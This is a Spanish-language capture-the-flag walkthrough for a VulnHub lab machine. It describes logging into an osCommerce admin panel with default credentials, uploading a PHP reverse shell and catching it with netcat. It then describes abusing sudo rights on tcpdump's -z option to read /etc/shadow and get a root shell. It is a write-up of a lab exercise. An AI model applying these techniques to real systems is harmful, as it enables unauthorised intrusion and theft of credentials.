Parece ser un NGINX, y si hablamos de un nginx estariamos hablando de un servidor http.. entro desde el chrome y logro encontrar la web de oscommerce.
No logro encontar el login de administrador asi que vuelvo a la shell, y verifico el path..


  • http://192.168.110.151:8888/oscommerce/admin/index.php


Anteriormente habiamos sacado el password de esta tabla, pero al parecer no era correcto mas alla de que el hash estaba bien, la clave es admin:admin.

Automaticamente que me loguie, trate de buscar algun modo de subir alguna shell, encontre un File Manager, pero todos los directorios me limitaban en permisos..


Hasta que encontré ese directorio llamado work. El cual tengo permiso de escritura...
Subo mi reverse shell "back2.php":


Ejecutamos un netcat a la escucha del puerto que configuramos la shell..
Navegamos hasta la shell desde el chrome, y vemos si funciona:



Bingo!... corremos la shell bajo el usuario blumbergh.

Importamos /bin/bash con python, y luego verificamos que PATH tenemos y verificamos un SUDO -l:


Vemos que nos permite ejecutar TCPDUMP. Que raro.. e interesante. 
Luego de analizar, mirar, probar... logre dar con esta referencia desde el site de seclist: http://seclists.org/tcpdump/2010/q3/68.

Tcpdump incorporo hace unos años la opcion '-z' que suele ir combinada con -C o -G.
Esta opcion nos permite ejecutar un comando en paralelo a la captura. Vamos a hacer una prueba...

Creamos un file llamado "inject" le damos permiso +x y luego invocamos al tcpdump mediante sudo, en las instrucciones finales le pasamos como -z /tmp/inject el cual contiene un cat al etc/shadow. Como vemos, el resultado funciona! ;D.

Ahora vamos a intentar enviar una shell_reverse a un puerto que dejemos escuchando localmente, a ver si nos da Root de esa manera:

Efectivamente soy ROOT. Invocamos bin/bash, y luego el bendito cat flag.

THE_END.

Thanks to mrb3n and VulnHub for this CTF!.